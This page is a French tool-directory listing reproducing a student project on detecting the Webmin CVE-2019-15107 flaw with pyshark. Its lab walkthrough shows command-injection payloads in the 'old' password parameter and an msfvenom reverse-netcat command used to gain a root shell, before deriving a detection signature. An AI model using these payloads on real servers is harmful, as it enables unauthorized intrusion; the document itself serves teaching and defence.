Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
detect-CVE-2019-15107-by-pyshark — projet scolaire | Kitploit
Outils/GitHubGitHub/gozn/detect-cve-2019-15107-by-pyshark
Sniffing et Analyse de PaquetsAnalyse des VulnérabilitésExploitationSécurité WebSécurité RéseauDétection d'IntrusionApprentissage et Éducation
GitHubgozn/detect-cve-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark

projet scolaire

Voir le dépôt
14il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

detect-CVE-2019-15107-by-pyshark

I. Aperçu de CVE-2019-15107 Webmin est une interface web pour l'administration système sous Unix. En utilisant n'importe quel navigateur web, on peut configurer des comptes utilisateur, Apache, DNS, le partage de fichiers et plus encore. Le 10 août 2019, le chercheur en sécurité turc Özkan Mustafa Akkuş a publié une vulnérabilité Zero-day à DefCon. En plus de la divulgation de la vulnérabilité, Akkuş a également publié un module Metasploit pour automatiser l'exploitation de cette vulnérabilité. En raison d'une vulnérabilité d'exécution de code dans la fonction de réinitialisation de mot de passe du fichier password_change.cgi, cette vulnérabilité permet à un tiers d'exécuter du code malveillant sans authentification. II. Versions affectées Cette vulnérabilité affecte les versions de Webmin de 1.882 à 1.921. Pour prévenir cette vulnérabilité, ceux qui utilisent Webmin devraient mettre à jour vers la dernière version 1.93. III. Analyse de la vulnérabilité Dans webmin, la fonctionnalité "permettre le changement de mot de passe utilisateur" doit être activée pour exploiter cette vulnérabilité. C'est la seule condition, mais de nombreux administrateurs webmin activent cette fonctionnalité. Elle permet aux utilisateurs de définir un nouveau mot de passe avec l'ancien mot de passe. Dans le code source de l'application Webmin, il y a plusieurs fichiers ".cgi" notables. L'un d'eux est password_change.cgi. image

Il n'y a qu'une seule exigence pour que les paramètres de ce fichier fonctionnent : la valeur "passwd_mode" dans le fichier de configuration "miniserv.conf" doit être définie sur "2".

image

À ce stade, nous utiliserons "|" en lisant le fichier /etc/shadow lors de l'authentification de l'ancien mot de passe. Exemple de commande de changement de mot de passe normal : image

Si nous insérons une commande simple comme "ifconfig" dans la commande de changement de mot de passe comme ci-dessous, la commande "ifconfig" a été exécutée et le résultat affiché. image

IV. Modèle de déploiement

  • Machine Ubuntu (victime) installant webmin version 1.920 avec l'adresse IP : 192.168.109.128 image

  • Machine Kali (attaquant) avec l'adresse IP : 192.168.109.131 image

 

  • Étant donné que ce CVE s'exécute sur la fonction de réinitialisation de mot de passe lorsque l'ancien mot de passe a expiré dans webmin, la victime doit installer webmin en mode "Prompt users with expired password to enter a new one". image

V. Exploitation de la vulnérabilité CVE

  • Dans un premier temps, la machine attaquante utilisera Burp Suite pour capturer les requêtes envoyées lors du changement de mot de passe sur webmin via le lien : 192.168.109.128:10000/password_change.cgi (ip de la victime) image

 

  • Ensuite, la machine attaquante envoie cette requête via l'onglet Repeater de Burp Suite pour tester la vulnérabilité. image

  • L'attaquant modifie certaines informations du paquet de requête capturé. En effet, pour changer le mot de passe, la méthode HTTP doit être POST et non GET comme initialement. image

 

  • Ensuite, la machine attaquante envoie une requête de changement de mot de passe à partir de l'ancien mot de passe vers le serveur webmin de la victime : "user=test&pam=&old=test&new1=test2&new2=test2" image

  • Lors de l'envoi de la requête, nous recevons un message indiquant que l'ancien mot de passe ne correspond pas (The current password is incorrect), donc le cœur du problème réside dans le paramètre "old".

  • Ensuite, nous essayons d'insérer une commande basique comme ifconfig après le paramètre old afin que lorsque le serveur vérifie l'ancien mot de passe, il exécute également la commande insérée. Par exemple : "user=test&pam=&old=test|ifconfig&new1=test2&new2=test2" image

  • De même que précédemment, lorsque le serveur vérifie l'ancien mot de passe, il est toujours incorrect, mais après cette vérification, la commande "ifconfig" a été exécutée et affichée.

  • Ensuite, pour prendre le contrôle root, nous utiliserons Metasploit framework pour créer un payload à envoyer au serveur webmin de la victime afin d'obtenir une session shell. "msfvenom -p cmd/unix/reverse_netcat lhost= lport=" image

  • Ensuite, nous copions le payload et l'insérons dans la requête sur Burp Suite. image

 

  • Après avoir envoyé la requête contenant le payload au serveur webmin, la machine victime a été compromise par un reverse shell. La machine attaquante reçoit une session shell vers la machine victime (ip: 192.168.109.128 port 37218). image

  • Ainsi, nous avons obtenu le root via cette vulnérabilité CVE. image

  VI. Identification de la signature de l'attaque

  • Utilisation de Wireshark pour capturer les paquets au niveau réseau. image

  • Pour exploiter ce CVE, l'attaquant doit utiliser le lien /password_change.cgi pour envoyer des requêtes contenant un payload malveillant via la méthode POST HTTP. Nous devons donc analyser les paquets HTTP capturés dans Wireshark. image

  • Nous voyons que la commande "ifconfig" est insérée pendant le processus où le serveur webmin vérifie l'ancien mot de passe à changer. image image

 

  • Par conséquent, nous identifions la signature de ce CVE comme étant les paramètres transmis lors du changement de mot de passe via le lien /password_change.cgi : "user=test&pam=&old=test | <commande que l'attaquant veut exécuter> &new1=test2&new2=test2" VII. Construction d'un outil de détection d'attaque CVE-2019-15107

  • Comme analysé ci-dessus, l'attaquant souhaitant exploiter ce CVE doit insérer une commande dans le paramètre old ("ancien mot de passe") pour pouvoir mener l'attaque. image

  • Pour détecter ceux qui tentent d'insérer des commandes basées sur cette vulnérabilité CVE, nous devons capturer et analyser les paquets HTTP qu'ils envoient à l'aide de l'outil "pyshark". image

 

  • Les données dans le paquet HTTP capturé sont renvoyées en hexadécimal. En se basant sur les paramètres "old=" et "|", nous pouvons savoir si quelqu'un tente d'exploiter ce CVE. La fonction checkPayload vérifie si le paquet HTTP est suspect. image

  • Ensuite, après avoir identifié quel paquet HTTP est suspect, la fonction getCommand affiche les commandes que l'attaquant exécute. image

  • Le processus de capture et d'analyse des paquets est également enregistré au format .csv image

VIII. Démonstration du programme

  • Lorsque l'attaquant mène une attaque, le programme alertera en temps réel. image

  • Lorsque le programme est arrêté, il enregistre un fichier .csv du trafic capturé pendant l'exécution du programme (payload http en hexadécimal) image

  • Le programme enregistre également les journaux des alertes de danger. image

  IX. Conclusion Grâce au processus d'apprentissage et à la réalisation des exercices pratiques en classe, j'ai pu comprendre en partie le processus de recherche et d'analyse de logiciels malveillants. En réalisant l'exploitation et la construction du programme de détection de la vulnérabilité CVE-2019-15107, j'ai pu appliquer les connaissances acquises à l'analyse et à la construction d'un programme de détection de vulnérabilités via les signatures, améliorant ainsi ma capacité d'analyse, de détection et de traitement des informations ainsi que la surveillance de la sécurité réseau.

Télécharger l’outil